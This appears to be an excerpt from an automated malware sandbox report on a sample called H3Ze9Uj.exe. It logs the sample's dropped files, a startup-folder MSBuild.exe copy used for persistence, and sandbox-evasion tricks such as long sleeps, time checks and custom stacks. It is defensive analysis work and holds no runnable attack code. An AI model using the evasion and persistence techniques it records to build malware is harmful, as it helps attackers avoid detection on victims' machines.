Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	API/Special instruction interceptor: Address: 6CC57C44
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	API/Special instruction interceptor: Address: 6CC57C44
Source: C:\Users\user\AppData\Roaming\Servicewriter\TiVoServer.exe	API/Special instruction interceptor: Address: 6CC57945
Source: C:\Windows\SysWOW64\cmd.exe	API/Special instruction interceptor: Address: 6CC53B54
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	API/Special instruction interceptor: Address: 6CC57C44
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	API/Special instruction interceptor: Address: 6CC57C44
Source: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	API/Special instruction interceptor: Address: 6CC57945

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: D50000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2A00000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 4A00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Memory allocated: E10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Memory allocated: 2AD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Memory allocated: 4AD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Memory allocated: 1780000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Memory allocated: 3120000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Memory allocated: 2F70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Memory allocated: 1130000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Memory allocated: 2B60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Memory allocated: 28F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Memory allocated: 30F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Memory allocated: 3270000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Memory allocated: 5270000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 1010000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2C90000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2A80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Memory allocated: 15D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Memory allocated: 3080000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Memory allocated: 5080000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 2978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 6827

Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\yiefm	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\pbomsmc	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Dropped PE file which has not been started: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\Ride.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\pntqvbaqhxho	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\hkhaelupurucg	Jump to dropped file

Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Evaded block: after key decision
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Evaded block: after key decision

Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe

Evasive API call chain: GetLocalTime,DecisionNodes

Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe

API coverage: 6.8 %

Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe TID: 7516	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe TID: 8176	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe TID: 7372	Thread sleep time: -150000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe TID: 2704	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1964	Thread sleep count: 37 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1964	Thread sleep time: -34126476536362649s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2324	Thread sleep count: 2978 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2324	Thread sleep count: 6827 > 30
Source: C:\Users\user\AppData\Roaming\MSBuild.exe TID: 8080	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\MSBuild.exe TID: 1660	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\MSBuild.exe TID: 5724	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\MSBuild.exe TID: 1276	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7200	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.exe TID: 3532	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D5FEC6 GetLocalTime followed by cmp: cmp dword ptr [ebp+08h], 05h and CTI: je 00D5FF61h	0_2_00D5FEC6
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D5FEC6 GetLocalTime followed by cmp: cmp dword ptr [ebp+08h], 01h and CTI: je 00D5FF5Ah	0_2_00D5FEC6
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D7FEC6 GetLocalTime followed by cmp: cmp dword ptr [ebp+08h], 05h and CTI: je 00D7FF61h	2_2_00D7FEC6
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D7FEC6 GetLocalTime followed by cmp: cmp dword ptr [ebp+08h], 01h and CTI: je 00D7FF5Ah	2_2_00D7FEC6

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D23CC4 GetFileAttributesW,GetLastError,GetLastError,SetFileAttributesW,GetLastError,GetTempPathW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,DeleteFileW,GetTempFileNameW,MoveFileExW,MoveFileExW,MoveFileExW,FindNextFileW,GetLastError,GetLastError,GetLastError,GetLastError,RemoveDirectoryW,GetLastError,MoveFileExW,GetLastError,FindClose,	0_2_00D23CC4
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D64440 FindFirstFileW,FindClose,	0_2_00D64440
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D57B87 FindFirstFileExW,	0_2_00D57B87
Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D39B43 FindFirstFileW,lstrlenW,FindNextFileW,FindClose,	0_2_00D39B43
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D84440 FindFirstFileW,FindClose,	2_2_00D84440
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D77B87 FindFirstFileExW,	2_2_00D77B87
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D59B43 FindFirstFileW,lstrlenW,FindNextFileW,FindClose,	2_2_00D59B43
